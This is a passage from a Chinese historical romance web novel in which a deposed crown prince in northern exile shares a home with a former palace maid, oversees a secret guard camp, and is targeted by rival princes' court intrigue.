林嫂子和舟舟帮忙把卤货做好后也回家了,今日山上没有生意,集市也不能去,锦婳闲得没事就蹲在地上练字。
陆卿尘与锦婳和好后,心情也好多了,拄着拐杖出来晒太阳。
看见锦婳蹲在地上拿着树枝写字,觉得这个小丫头还挺好学的。
陆卿尘咳了两声,锦婳回头看了看他,身子比刚从宫里出来时,单薄了一些。
昨日夜里站在门口等她,不知会不会冻着,若是发烧了就不好了。
锦婳正想着,昨夜那两个黑衣人又翻墙潜了进来。
锦婳瞥了一眼,便不再抬头,继续蹲在地上练字,只当没瞧见,这大白天的,也太明目张胆了吧!
那两名黑衣人走到陆卿尘面前拱手道:“主子,蛮夷已经……”
陆卿尘咳了一声道:“此处不便,进屋说。”
第一卷 第52章 疑惑
三人进了屋,青龙警觉地瞥了眼窗外的锦婳,用询问的目光看向陆卿尘。
陆卿尘喝了口手边的热茶,今日锦婳心情好像不错,和林嫂子一起收拾完卤货后,还特意给他泡了一壶生姜红枣茶。
喝了一口,甜甜辣辣的,的确浑身都觉得暖暖的。
陆卿尘点点头:“锦婳是自己人,但说无妨。”
青龙犹豫了片刻道:“是!今日属下带领暗卫营与蛮夷激战,蛮夷死伤惨重,离县百姓无一受伤,被蛮夷抢走的粮食和家禽也都尽数归还给了百姓。”
“张洛、王里二人已除,嫁祸在了蛮夷身上,宫里该是不会怀疑殿下。”
陆卿尘点点头:“有劳二位师兄。”
青龙、白首恭敬拱手:“属下不敢!”
白首看了看屋内,不见谢威的人影,这大白日的,这小子不在殿下身边好好护着殿下,跑到哪里去了!
毛没长全的小子就是办事不牢,等他回来定要好好教训他一顿!
想了想,白首还是忍不住低声问:“殿下,谢威人呢?怎么不在您身边守着?”
陆卿尘淡淡地说:“锦婳让他去山上砍柴了,家里没有柴火,不好烧饭。”
砍柴?!
他们没有听错吧?谢威可是暗卫营里最年轻的少将军,行军打仗是那么的英姿勃发,京城的大家闺秀看了,谁不内心颤动?
那个叫锦婳的小婢女,敢让他去砍柴?
谢威也肯听,就乖乖地去砍柴,这世道真是变了,谢威那么一个傲娇的人,竟然对一个小婢女唯命是从!
锦婳就蹲在窗檐下写字,土墙布隔音,屋里的对话她听得一清二楚。
当听见“张洛、王里二人已除。”锦婳下笔的手仅仅是顿了顿,便继续写下去了。
曾经朝夕相处的两条人命就这样没了,不过,她虽不懂陆卿尘的谋略,可她知道他是一心为民的好太子,定不会滥杀无辜。
中午了,谢威背着柴火回来,锦婳递给他汗巾擦汗,随便捡了几根柴火,去烧午饭了。
中午锦婳做的萝卜丝肉丸子汤,蒸的糙米饭,还拌了个下饭的小咸菜。
她只盛了他们三个人的饭,三碗糙米饭,上面浇的萝卜丸子汤,还加了一些小咸菜,都是一样的。
谢威上山砍柴出去了一上午,应该早就饿了。
锦婳推门进屋,白首看了眼她手里端的饭菜,吃惊道:“你……就给殿下做这个吃?”
要知道在东宫时,太子殿下的定制是早饭十种清粥小菜,午饭和晚饭各十八种,每日是不允许有重复的吃食的。
就连上午、下午的两份点心都要七八种,青龙和白首吃过东宫的点心,做的那是精致有美味,吃过后唇齿留香,至今难忘。
这丫头就给殿下吃这个大萝卜汤泡饭,肉丸子还只有两个,难怪这几日见殿下觉得他清瘦了许多!
就吃这个,殿下身上的伤何时才能恢复好!
锦婳看见他二人就来气,听见白首说这话,更是气不打一出来,瞥了他一眼,语气冷冷的:“我只会做这个,你会做好的你去给他做。”
白首也来气了:“你这丫头!”
陆卿尘却摆手,淡淡道:“无妨。”
青龙和白首都诧异了!这丫头到底是什么来头!都要骑到殿下脖子上拉屎了!
谢威那个小子被她管得老老实实也就算了,怎么连殿下也肯听她的!
就因为她在流放路上的照拂?给她些银两就算了,日后再寻几个好的来伺候殿下。
锦婳把饭菜放在炕桌上,只有三碗,陆卿尘面前一碗,给谢威留一碗,自己一碗。
锦婳自顾自的吃起来,陆卿尘也动了筷,谢威犹豫了一瞬,他砍了一上午柴,早就饿透了,顾不得青龙、白首诧异的眼神,他也硬着头皮上了桌,三人一起围着炕桌,坐着吃饭。
青龙、白首:“……”
锦婳那丫头没近身伺候过殿下,粗野不懂规矩也就算了,谢威这小子怎么回事?才出宫几日,就把东宫的规矩都忘了?
他竟然跟殿下坐在一桌吃饭?还吃得一样的!
锦婳埋头吃了半饱,抬头看了眼陆卿尘:“我觉得这萝卜炖得比肉丸子好吃,软烂入味,小咸菜也好吃。”
陆卿尘抬眼:“尚好。”
锦婳又道:“我看你卤货实在吃够了,以后多吃些炖菜吧,天冷吃炖菜暖和,不如晚上吃酸菜炖血肠?”
陆卿尘皱眉:“不吃。”
锦婳又道:“那我去郭大爷家买只鸡,鸡肉炖土豆如何?土豆炖得面面的,拌饭口感沙沙的。”
陆卿尘听见是鸡肉,也好久没吃过了,锦婳今日应该是难得清闲,才有兴致给他炖只鸡吃,便淡淡道:“好。”
锦婳埋头扒饭:“嗯。”
一旁的青龙、白首险些惊掉了大牙,刚从他们二人听见了什么?!
殿下在和那个婢女商量晚上吃什么?!
他家殿下从前都是与他们吩咐国事的,如今竟然沦落到和一个婢女商量晚上吃什么?
他们俩不在的这段日子,殿下到底经历了什么?
青龙、白首又看了眼谢威,这小子是饿狼投胎的吗,只顾着自己低头扒饭,也不见他照顾殿下!
青龙、白首见陆卿尘没有其他吩咐,便退出了屋。
屋檐下两人对视,白首挠头问:“哥、这……现在什么情况?”
青龙叹气摇头,不过月余未见殿下,殿下的变化属实太大了,他们都不知该如何伺候殿下了。
锦婳见那两人退了出去,抬头问陆卿尘:“那两人不住这里吧?”
陆卿尘道:“他们住城外暗卫营。”
锦婳又问:“暗卫营有多少人?”
陆卿尘觉得这小丫头不是一门心思赚钱吗,何时关心过这些事了,不过让她知道也无妨:“八千精兵,每人都可以一敌百。”
锦婳收拾碗筷:“哦。”了一声便转头进了厨房。
锦婳心想只要这八千人别落在她身上让她养就阿弥陀佛了!
话说回来,陆卿尘既然那么有钱,能养得起一个暗卫营,怎么会跟着她在这离县过这苦日子?
第一卷 第53章 对手
谢威刚刚吃饭时被两位师兄看得冷汗直冒,此刻背脊都是湿透的。
这锦婳模样平日里看着弱弱小小的,性子却是天不怕地不怕,幸好她在宫里时是在小厨房做工,若是在主子跟前伺候,恐怕早就死了一万次了!
皇宫内。
大皇子陆卿珏一把把桌子上的茶盏都推到了地上,瞬间茶盏摔得粉碎,声音震耳欲聋。
“该死!都该死!那丽妃的人为何要无端端的去与蛮夷对抗?本王差一点就得手了,让那陆卿尘又逃过一劫!”
一旁表情奸邪的小太监跪在地上道:“主子息怒!主子息怒!”
“奴才猜,此事定是丽妃娘娘从中作梗,坏了殿下您的计划!”
陆卿珏气得头上青筋暴起,咬牙切齿道:“那帮蛮夷也是真够没用的,不过两个衙役,一群民兵罢了,他们竟打不过,还告诉本王伤亡惨重,让本王赔偿,我呸!”
“平日里本王没少给那帮蛮夷好处,派上用场时都是没用的!”
小太监跪在地上,出着主意:“殿下,奴才觉得您此刻可以先将那废太子放一放,毕竟他在那北境卖卤货,掀不起什么风浪。今日奴才听说陛下又给了丽妃娘娘好些个赏赐,还给五皇子封了亲王!”
陆卿珏听了更气了,一拳打在柱子上:“陆卿炫那个废人他凭什么!只会玩女人,耍口舌!父皇就是偏心!之前偏心那个陆卿尘,好不容易他滚出了宫,本王以为好日子来了,父皇又偏心那陆卿炫!”
“本王才是父皇的长子,众兄弟的表率!论文韬武略本王哪里比那个废太子和陆卿炫差!父皇为何总是看不见本王!”
“本王还听贴身伺候父皇的人说,父皇前几日还派人去北境探望废太子!若是陆卿尘死灰复燃,本王登上太子之位的希望就更加渺茫了!”
“陆卿尘和陆卿炫,都得死!”
跪在地上的贴身太监道:“殿下息怒,那废太子已经是个残废了,有没有伤及根本都不知,陛下怎会把皇位传给一个废人。”
“再说,陛下一向仁政爱民,对自己的儿子太狠,也怕落人口实罢了,依奴才看,情况未必如殿下想的那般糟。”
陆卿珏听小太监说的有理,逐渐恢复了理智,思索片刻,悠悠道:“你的意思是……”
小太监笑的奸邪:“殿下,奴才认为那废太子掀不起风浪,如今宫内与您抗衡的唯有丽妃和五皇子,殿下应该想办法将之除掉,以绝后患!”
交鸾殿。
丽妃半躺在贵妃椅上,眉头紧皱,贴身侍女为她揉着太阳穴。
五皇子陆卿炫满脸笑意,一手拿着一只鸟笼吹着口哨进了交鸾殿。
丽妃抬眼看了陆卿炫一眼,一脸的不耐烦道:“把那吵人的鸟拿出去,惹得我头疼!”
陆卿炫见母妃好似心情不好,把鸟笼递给伺候的小太监,上前问道:“母妃和事心烦?可是头疾犯了?”
丽妃皱眉闭眸不语。
陆卿炫嬉皮笑脸地给丽妃按腿道:“儿子倒有个高兴事要告诉母妃,今日御书房,儿子被父皇封了亲王,那陆卿珏知道了怕是要气死了!”
出乎意料,丽妃听了却没有一丝高兴的意思,懒洋洋地睁开眼睛瞥了眼陆卿炫。
陆卿炫疑惑道:“母妃不为儿臣高兴?母妃不是早就盼着儿臣封亲王吗?”
“儿臣记得母妃同父皇求了好几次,父皇都没有应允,今日父皇还夸儿臣有长进,孝顺宽厚呢!”
丽妃抬手,示意婢女退下,自己伸手由陆卿炫扶着坐起来。
“陛下封你的亲王,不过是个没有实权的闲散王爷罢了,有什么可高兴的?”
“如今辅佐陛下治理朝政和统治兵权的是大皇子,说到底还是大皇子和许妃更胜我们母子一筹。”
陆卿炫却不以为然地道:“儿臣相信母妃的手段了的,陆卿尘的根基如此之深,还不是被母妃撼动了,如今被父皇赶去了北境卖卤货。大皇子母子俩又算什么?那许妃失宠多年,大皇子人又一本正经的,哪像儿子在父皇身边时嘴那么甜!”
丽妃却摇摇头,站起了身:“陆卿尘未必彻底失宠,本宫派去北境监视他的两个衙役莫名其妙地同蛮夷对抗上竟死了。”
“他们的身家和一家老小都在我的手上,他们断然不敢轻举妄动,或是自戕,此事定有蹊跷。”
“再有,本宫又听闻你父皇派了人去北境探望他,说不定陆卿尘死灰复燃也未可知。”
陆卿炫不语,心里却暗自叨咕着,母妃到底是个女人,做事思虑太多,前怕狼后怕虎,难成大业。
看来若是想登太子之位,还需靠自己筹谋。
丽妃见陆卿炫不语,在那愣神,一把拍了过去,打得陆卿炫大叫了一声!
“啊!疼!母妃我都多大了,你打我做什么!”
丽妃恨铁不成钢地怒斥道:“你府里正妻小妾的一大堆,怎么也不见哪个怀上?如今你和大皇子都没有子嗣,若是谁能先诞下皇长孙,那必得陛下欢心,登上太子之位,更加指日可待!”
陆卿炫知道自己有隐疾,可丽妃并不知道,这事若是被母妃知道了,还不得气个半死,被有心人知道了更是得拿这个做文章,父皇便更不可能把太子之位给自己了。
陆卿炫笑嘻嘻地哄着丽妃:“母妃,之前那些个女人都是不中用的,近日我府上又来了两个新人,怀上皇长孙还不是这几日的事!”
丽妃狐疑,但心里却高兴起来,瞥了一眼陆卿炫道:“当真?”
陆卿炫挽着丽妃的手臂,像儿时那样撒娇:“自然当真!母妃只管等儿臣的好消息便是!”
丽妃眼睛一转,转念又道:“你舅舅家的嫣然,今年已经到了出嫁的年纪,还没有寻到个好夫家。你们自小相识,若是有意不如纳了为侧妃可好?”
陆卿炫对女人自然是来者不拒的,那嫣然表妹他有印象,在母后的生辰宴上见过,丰乳肥臀,眼睛会勾人魂,活脱脱的是个诱人的小妖精!
第一卷 第54章 战马
陆卿炫眼眸微转,蹲下为丽妃捶腿道:“母妃选的自然是好的,儿臣听母妃的安排!”
丽妃满意地点了点头,听陆卿炫如此说她心里自然是高兴的,自己的弟弟是个不成器的,烂泥扶不上墙,难不成还能指望他给自己挣脸面?
若是侄女嫣然能嫁给炫儿,生下个皇长孙,他日炫儿登基称帝,那太子的血统里便有一半是她母家的。
到时,宫里那些瞧不起她母家的,看不起她家门户小的人,她要一个一个去打她们的脸!
北境。
前几日刚与入侵北境的蛮夷大战了一场,虽说是胜了,但百姓们还都不太敢出门。
山上的工事暂时停了,集市上也没什么人,这几日陆卿尘和谢威又不许锦婳出门,说是现在街上乱,女孩子出门怕被蛮夷抢了去!
锦婳闲来无事只能在院子里练练字,或是给炕上那两人做做饭。
中间张澈的妹妹张姝倒是来找过锦婳一回,两个人在院子里说了好一会儿话。
陆卿尘朝窗外瞥时,只觉得那张家小姐面善得很,好像在哪见过,却又怎么也想不起来。
所幸也不再去想,靠在窗台看天上飘动的云。
不一会儿,那张家小姐被张澈接走了,锦婳蹦蹦跳跳地进了屋,打量着蜷在炕上的那两人,语气有些质疑:“你……二人……可会跑马?”
可转念一想,谢威少年将军,跑马自然是会的,那个成天不下炕的,却是多半不会了,更何况如今腿还瘸了……
谢威眼皮都懒得抬,北境的大炕太暖了,实在不想离开一刻,便懒洋洋地答:“即便会,这哪里有战马?”
锦婳刚刚兴致满满,却被浇了一盆冷水。
家里倒是有一匹老马,是一路跟着他们从京城拉车过来的,走得比牛快不了多少,的确没法跑马。
刚才张姝讲她和哥哥在草原上放牧骑马,怎样的自在潇洒,锦婳羡慕坏了。
张姝还约她改日一起去骑马,到时都带着自己的哥哥。
两人正聊到兴头上时,张澈来寻张姝回家吃午饭,锦婳兴致却未退,进屋寻那两人,可看见他们在炕地一躺,懒得好似没有骨头了一般,顿时没了兴致。
锦婳表情讪讪地转身要出去,陆卿尘沉声叫住了她:“可是也想去跑马?”
锦婳摇摇头:“我只是听张家小姐说,我并不会骑马。”
陆卿尘却下了炕,拉着锦婳就往外走。
锦婳被他这行云流水般的动作吓到了,惊得声音都发颤:“你…你…你的腿!你的腿好了?!”
陆卿尘只沉默地点了点头,拉着锦婳坐上马车,两人驾着马车一路朝郊外驶去。
炕上的谢威一个激灵起了身,主子这是恢复了?主子什么时候好的?自己怎么不知!
他们这是……去郊外跑马了?主子未免也太惯着锦婳这丫头了吧!
主子怎么不带自己去,若是路上遇见蛮夷,受了伤,两位师兄还不得把他千刀万剐了!
马车跑了一个时辰,锦婳看到郊外的树林处有一处营地,营地旁的一处空地,圈着栅栏,里面好像……都是战马!
陆卿尘拉住缰绳,马车停在了营地前面,锦婳只见陆卿尘纵身一跃下了马车,身手矫健,并不比谢威差。
锦婳心里憋着一堵气,这人什么时候恢复的,也不告诉一声,亏得她平日还把他当病人伺候着,什么活也不让他干,等回去再和他算账。
陆卿尘站在营帐前,迎风而立,衣袂飘飘。
锦婳此刻突然能理解林嫂子为何说陆卿尘是戏文里跳出来的王孙公子了。
一名黑衣侍卫上前,拱手道:“主子!属下这便去通报两位将军!”
锦婳哪里见过这个阵仗,躲在陆卿尘身后探头往里瞧着,这营地真是气派,还建了自己的粮仓,看样子粮草充足得很!
陆卿尘应该是很有钱吧?毕竟他要养这么多人,不过这人也是有意思,这么气派的营地不住,偏要和她去挤茅草屋。
仅仅片刻,锦婳就听见营地里有脚步声匆匆朝这边来,人再走近些,锦婳探头看了看,即便带着半张铁制面具,锦婳也能认出这两名被称作将军的人,就是谢威那两位师兄青龙和白首。
青龙、白首拜见了陆卿尘后,开始四处寻视,好像在找什么。
寻了半晌,那个叫青龙的忍不住开了口:“殿下,谢威那小子呢?没和您一道来?”
陆卿尘面色一沉道:“谢威这几日砍柴累坏了,躺在炕上不想起来。”
那青龙和白首气得简直都要跳起来了,看这架势,锦婳猜想,若不是陆卿尘站在那,让他们还尚存半分理智,此刻就会冲到离县把谢威五马分尸。
白首怒道:“谢威这小子,手没长齐,办事不牢。离县来营地这么远的路,他竟让主子自己驾车来,真是该死!”
青龙虽沉稳些,也是满脸的不悦:“是啊,若不是我兄弟俩有江南的要事办,是断然不会把主子交到谢威那小子手上的!”
兄弟俩再看看陆卿尘身后,还跟着那个小丫头,一个烧火丫头有什么用!关键时刻倒是能为主子挡一刀!
陆卿尘沉声道:“营地的粮草还够多久?”
青龙拱手道:“有殿下的私库跟着,支撑一年半载不是问题。”
白首又道:“殿下京城的商铺、店面有赵麒经营着,金子银子会源源不断地运过来,殿下不必为此忧心!”
锦婳心里更是惊讶了,不过想来也是,堂堂太子殿下,自然是有私产的,不过没想到竟然有这么多,能养这么大的营地一年半载,银钱还会源源不断地运来!
陆卿尘点头道:“把吾的马牵来。”
青龙眼神一个厉色,一旁的黑衣侍卫便领命小跑着去牵马。
不一会儿,一匹黝黑崭亮的战马就被牵到了陆卿尘面前。
这是锦婳第一次见陆卿尘的战马,威风凛凛,鬃毛黝黑透亮,高大威猛,锦婳不懂马的人都看得出,这是一匹千里良驹。
第一卷 第55章 家人
这匹战马与其它战马的不同还有一处,这匹马带着半面银色面具。
不知何时,陆卿尘也带上了半面银色面具,这大概就是大乾铁骑吧?
锦婳还没反应过来,陆卿尘纵身一跃已经上了马,在众人的视线中,陆卿尘朝锦婳伸出了手。
锦婳站在地上仰面看他,片刻犹豫,陆卿尘的眼神透过面具目光坚定:“怎么?不是说要骑马吗?”
锦婳想想也是,明明是自己和人家说的要骑马,如今到了郊外,战马也牵来了,若是不骑……硬着头皮也得上!
锦婳伸出手抓住陆卿尘骨节分明的手,陆卿尘稍稍一用力,锦婳就被拉着坐在了马背上。
陆卿尘低头沉声问被环在怀里缩成一团的人:“可准备好了?”
锦婳闭着眼睛咬着牙道:“嗯!”
这可是她生平第一次骑马,陆卿尘这匹马又比其它马生得高大,若是掉下来,不摔死也得要了半条命。
锦婳双手紧紧抓着马鞍,只觉得自己被身后的人环在怀里,他的胸膛又宽又大,竟让她一阵莫名的安心。
陆卿尘双腿夹了一下马腹,马儿就在平原上狂奔起来。
陆卿尘和锦婳的这番行为可看傻了青龙和白首!
白首目瞪口呆地看着青龙道:“大哥,这丫头到底什么来历,她说了句要骑马,殿下就亲自带她来骑马?!”
青龙一向沉稳、深思,此刻竟也是看不懂了,缓缓道:“这可是暗卫营,殿下竟为了她,安危都不顾了,只身而来,若是暴露了身份,后果不堪设想。”
“那匹马是殿下最心爱的追风,除了殿下还从未有人骑过,看来那姑娘在殿下心中的分量非比寻常。”
陆卿尘和锦婳骑着追风在平原上跑了一会儿便停了下来。
陆卿尘下了马,锦婳坐在马背上,陆卿尘牵着马慢悠悠地走。
此刻只有他们二人,陆卿尘便摘了面具。
夕阳余晖照在陆卿尘的脸上,让锦婳觉得他极其的安静、好看。
锦婳开口问:“暗卫营为何要随你来北境?谢威和青龙、白首护着你还不够吗?”
陆卿尘心中对锦婳毫不设防,自然而然地脱口而出:“暗卫营为除蛮夷而来。”
锦婳皱眉又问道:“蛮夷朝廷都除不掉,你能行?”
陆卿尘点头:“自然。”
锦婳追问:“什么时候?”
陆卿尘眯眼:“静待时机。”
锦婳不再言语,而是在马背上静静看着陆卿尘牵马的背影,他好像永远只有自己一个人,那日在山里对抗狼群时,她便觉得他是不怕死的,仿佛他的人生已经毫无牵挂,对任何人和事都淡然处之,生死都不放在心上。
也不知道是不是皇帝打了他的板子,废了他的太子之位,让他没了心气,心如死灰。
还是前太子妃抛下了他跟着五皇子走了,让他心里过不起这个坎,才会给人一种怎样都无所谓的感觉。
锦婳看着陆卿尘被风吹动的衣摆,他本该是高高在上的太子,锦衣玉食,妻妾成群,如今却粗衣麻布,形单影只。
锦婳心里一阵莫名的心酸,也不知该与他说什么。
两人就这样牵着马走,沉默了许久。
锦婳又开口问:“若是与蛮夷一战,你和谢威会上战场吗?”
陆卿尘抬头骑马的锦婳,那丫头眼神里竟有一丝从未有过的伤感,便道:“自然会,谢威擅长冲锋,是前将军。至于吾……暗卫营为吾拼命,吾岂有躲在身后的道理。”
锦婳忽然急声问:“你心里……可还有牵挂!”
陆卿尘愣了愣:“你问这个做什么?”
锦婳道:“若是还有牵挂,战场上自然懂得保命。上次对抗狼群,我看你不顾性命,生死全然不在乎,若是心里还有在乎的人,怎会那般的奋不顾身。”
陆卿尘皱眉想了想,母后死了,父皇心中又因怀疑他的血脉从未把他当做儿子看待,父子离心不是一日两日了,太子妃……他只把她当做太子妃,从未放进过心里。
思索片刻,陆卿尘道了声:“吾心里没有牵挂。”
锦婳叹了口气,缓声劝慰道:“谢威是真的把你当做自己的命一样看重的,还有青龙、白首两位将军,我看得出,也是誓死追随你,待你至真至诚。”
“还有……还有我,把你当做一家人,你若是有事,我怕我会哭死。”
“如若有那一日,你非要上战场,我不拦你,希望你记得,这世上还有那么几个人盼着你好,盼着你平安回来,你也务必看重自己的小命。”
陆卿尘听了心里一颤,锦婳这丫头能和他说这番话真让他意想不到。
她说她把他当家人,家人这个词,他已经许多年没听过了。
陆卿尘不光要在对抗蛮夷的战场上胜利回来,他还要留着命杀回京城,那些害死她母后,一心想要他性命的人,他一个也不会放过!
陆卿尘被人不易察觉地弯唇:“好,吾答应你,会平安回来。”
锦婳默默点头,她深知这世道好人不多,肯为国为民豁出性命的更是少之又少。
她还记得小时候乡里的乡官每到年节,便开始搜刮民脂民膏。
省吃俭用一年,想过个好年的百姓们,大多数的银钱都是要上交乡官的。
可若是遇到事,遇上战争,乡官大多是各自逃命,弃百姓于不顾!
锦婳打心眼里不希望陆卿尘有事,他是个好太子,若是能做皇帝,一定也是个为国为民的好皇帝,只是…..可惜了。
若是哪日大乾铁骑真的和蛮夷打仗,她真心希望陆卿尘能平平安安的回来!
第一卷 第56章 晓誉
天色渐晚,锦婳和陆卿尘牵着马回了营地。
刚进营地,侍卫急忙来牵过马,陆卿尘与青龙、白首进了营帐,锦婳知趣地在营帐外拿着干草喂着追风。
营帐内,陆卿尘掀开衣摆,帝王派头尽显,一转身坐在上坐。
青龙、白首立于帐中,恭敬拱手道:“禀殿下,属下们多番打探,徐州总管赵通判自始至终只有一位原配妻子,许氏。”
“可……许氏并非来自京城,而是江南水乡柳州生人,赵通判也并未在京城为官,也未被贬过官,怕不是殿下要找的人。”
陆卿尘皱眉,当年明明打探到碧痕被父皇嫁与一通判,并贬官到北境,初到徐州时,见徐州治理很好,还以为那位徐通判便是,看来是找错了人。
陆卿尘眉头微皱,眼睛微眯,冷声道:“再探!”
青龙、白首恭敬拱手道:“是!殿下!”
距母后仙逝已经十几年,如今能有机会寻到的当年伺候在身侧的人也唯有碧痕了。
只要还有一点点希望,只要碧痕还在这世上,他就不会放弃!
青龙为陆卿尘端上刚泡好的热茶,陆卿尘端起茶杯喝了一口,又问道:“宫里情况如何?”
青龙道:“禀殿下,如今大皇子和五皇子为了太子之位争得火热,丽妃和许妃也不是省油的灯,都在暗地里较着劲。”
“听父亲来信说,大皇子今日为陛下批阅奏折时犯了几个大错,被陛下责罚了。”
“反而是五皇子,什么都不做,朝政之事一概不理,反倒被陛下封了亲王,可见陛下还是受了丽妃的蛊惑。”
“属下还听说,五皇子又新纳了自己舅舅家的表妹为侧室,正一门心思在府里生皇长孙呢!”
陆卿尘冷着脸搓着拇指上的玉扳指,宫里的那几个草包不足为据,早晚他要一个一个地收拾他们。
白首见陆卿尘沉思不语又道:“殿下,属下还打探到,陛下大概是因为大皇子不得力,所以有些思念殿下的缘故,已经派人往北边来了,说是探望殿下,算算日子也该到了。”
“呵!”陆卿尘冷笑一声。
“那吾要吩咐锦婳多做几道好菜招呼宫里的使者了!”
营帐外。
锦婳站在马厩外喂追风,追风和家里的那匹拉车的老马一比,简直是一个天上一个地下!
突然,营帐外响起一阵阵马蹄声,等那声音越来越逼近,锦婳才瞧见,是一位玄衣女将军,身后跟着几名黑衣暗卫,策马而来。
女将军策马扬鞭与队伍的最前方,她一身紧身玄衣,腰带上別着一把利剑,乌黑的秀发只用一根黑色发带束起,马儿奔腾而起,她的发丝与衣摆都随风飘起,看着透着一股逼人的英气。
锦婳看直了眼,她真是从来没见过如此英气十足的女子!
身后的侍卫拼尽全力也没能追上她,锦婳心中猜测,难不成,她就是大乾的轻骑少将军,疾如风、掠如火的徐晓誉?
那女将军策马进了营地,来到了营帐前,翻身下马,动作潇洒如风!
见到蹲在地上喂马的锦婳,先是一愣,警惕地问:“你是何人?!怎么会在暗卫营里?”
锦婳被徐晓誉这一系列动作看呆了,蹲在地上愣神。
营帐里的人应是听见了营帐外的声音,快步走了出来。
只听陆卿尘淡淡一声:“她是吾的人。”
徐晓誉难得一见陆卿尘,眼睛里闪过一丝喜悦的光亮,然后拼命地压抑着内心的激动道:“属下……拜见殿下!”
陆卿尘淡淡地“嗯”了一声,然后来到锦婳前面,捞起了蹲在地上愣神的锦婳。
陆卿尘对面前的三位少将军沉声道:“此处是军营,吾不宜久留,就先回去了,事情有进展,再向吾汇报即可。”
青龙、白首、晓誉皆是恭敬拱手道:“是!殿下!”
天色暗了,再不往回赶,天就要黑了。陆卿尘先扶着锦婳上了马车,自己坐在驾车的位置,赶车往离县去了。
青龙厉色对身旁的侍卫道:“派一队侍卫跟上殿下,暗中保护!”
“是!将军!”侍卫立即转身行动。
徐晓誉站在那直直地看着陆卿尘驾着的越走越远的马车,直到马车消失不见才回了营帐内。
青龙、白首正在营帐内看着地图,见晓誉进了帐内,便问道:“蛮夷这几日有何动向?”
晓誉答:“自上次一战,蛮夷损伤惨重,现如今正在营地内原地休整。”
“不过,我发现蛮夷粮仓内粮食充足得很,我派了一队人马趁夜色潜入蛮夷营帐内,竟发现了大皇子的人在蛮夷帐内议事!”
“蛮夷平日里粮草大多是肉干、青稞,我派人潜入进到粮草帐内查看,竟发现了很多白米和面粉,蛮夷领地并不种植这些粮食,我怀疑大乾有内奸!”
青龙倒不意外,眉头微皱,看着地图道:“果真应了殿下的猜测,大皇子与蛮夷里应外合,看样子如果陛下若是不立他为太子,他定是要与蛮夷合力逼宫了。”
晓誉一惊,接着道:“那殿下如今何意?”
青龙沉声道:“静待时机。”
晓誉又问道:“殿下的腿伤……”
白首笑着安慰道:“小师妹不必挂心,殿下的腿伤前些日子已经痊愈,只不过有丽妃的眼线在,才不得不伪装。”
“殿下刚刚还在帐内夸你,说你的神机营探来的消息准确无误,与蛮夷上一战大获全胜,你功不可没!”
晓誉笑笑,她哪里当得起殿下的夸赞,若不是当年殿下的救命之恩,恐怕她已经被刽子手砍头了。
徐晓誉原名徐晓月,是刘猛将军手下得力干将徐副将家的嫡长女,自小便跟着父亲习武,熟读兵书。
大乾十五年,徐副将在与蛮夷一战时,因山地险要,被蛮夷围困在山里,三万将士无一生还。
大乾还因此败仗,割了地给蛮夷求和。
徐副将惨死,徐晓誉的母亲殉了情,这时朝中文臣中不知谁参了徐副将一本,说他根本没死,是畏罪潜逃了,说他出卖大乾通敌,才致大乾三万将士惨死。
第一卷 第57章 兄妹
当时刘猛将军以身家性命相保,也没能劝住帝王的杀心,徐家三十余口,当街问斩!
晓誉的弟、妹,尚在襁褓,也没能逃脱被杀的命运。
徐家三十余口,血染闹市街口,无人敢去收尸!
三日后,刘猛将军冒着欺君罔上的危险,为徐家人收了尸,寻了块偏僻之地安葬了徐家人的尸首。
刘猛深知,徐副将至爱嫡长女徐晓月,当时还是太子殿下的陆卿尘深知师傅心意,也知徐副将为人,此战在山中徐副将遭蛮夷围剿,大乾朝中定有内奸!
陆卿尘命青龙、白首寻了名年龄和长相都与徐晓月相似的女死犯,在徐家人惨遭砍头当日,狸猫换太子,换下了徐晓月。
是陆卿尘为徐家保下了唯一的血脉!
那日起,陆卿尘为徐晓月改名为徐晓誉,徐晓誉心知,陆卿尘是要她继承父亲的荣誉,成为徐家新的荣光!
陆卿尘告诉她,她的父亲徐副将是忠于大乾,为大乾抛头颅、洒热血的好将军!他绝非是那些有心人口中的逃兵、叛徒。她的父亲是被大乾朝中的内奸与蛮夷害死的,她日后的生命中只有一个任务,为父亲,为枉死的徐家三十多口复仇!
徐晓誉自此成为了陆卿尘的小师妹,她同青龙、白首一样称刘猛为父亲,她训练时比几个师兄、比任何人都刻苦!
炎炎酷暑、凛冽寒冬,操练场上,最早去的是她,最后离开的还是她!
任何人都可以偷懒、松懈,唯她不能!
她从徐家灭门那日起,身上便背负着徐家三十余口人的血海深仇,她没有一日能安然入睡,她恨不得立即手刃仇人,为父亲和族人报仇!
终于,在这份日积月累的压抑下,她病倒了。
徐晓誉当时高烧三日不退,整个人烧得说胡话,喂药也喂不进去。
刘猛请来了京城最好的郎中,郎中们皆是纷纷无奈地摇头,人一旦心如死灰,就难救了。
陆卿尘得到消息后,亲自来探望,坐在徐晓誉床边,不知说了什么,陆卿尘离开后,徐晓誉吃进了药,烧退了,人也清醒过来了。
自此以后,徐晓誉同常人一般,说说笑笑,不再苛待自己,她仿佛忘却了徐家的血海深仇,可任何人都无法再窥探进她的内心。
徐晓誉记得,当时自己烧得迷迷糊糊,马上就快死了,她好高兴啊,她马上就能见到父亲、母亲了,还有最疼她的祖母,她最爱的弟弟、妹妹!
她真的好累啊!徐家人都死了,这世间只留下她一人,她的心每日都好苦,她是真的坚持不住了!
可床边突然有个人,在她耳边念念叨叨,那时她烧得有些晕晕乎乎,只能拼命地努力竖着耳朵听。
那人说她是懦夫,不配做徐家嫡长女,不配为徐副将的女儿,徐家三十余口唯留她一人,她死了,并非是解脱,到了地下,如何面对徐副将,如何面对枉死的徐家三十余口族人。
徐晓誉清醒了,她不能死,再苦再难她必须扛下去。
徐家人世世代代没有逃兵!
这十年,师傅、师娘把她当亲生女儿看待,她也打从心内把自己当做刘家女儿。
师傅教授她的是兵法,为人之道。师娘则教诲她女子持家,内宅之术。而陆卿尘教她的却是另一番兵、诡诈之道。
她总想着,若是有一日,徐家血海深仇得报,她不想被禁锢于内宅之中,她的心,志在天地。
陆卿尘被陛下打板子,废了太子之位那日,徐晓誉前一日刚领了命,随青龙、白首两位师兄南下江南,暗中助许阁老治理水患。
徐晓誉当即就要领兵冲进禁宫,上次她猩红了眼是徐家灭门,这次是陆卿尘被废太子之位。
师傅拦她,两位师兄捆她,师娘流着泪抱着疯了一般的她。
这些年,陆卿尘是她的信仰,是支撑着她活下去的信念,他若是不在了,她就如同当年徐家灭门时一般,无根浮萍。
那日,两位师兄还是十年里第一次对她厉声:“殿下自有殿下的安排,我们要做的唯有信任殿下,服从殿下的安排,这样才是为殿下好!”
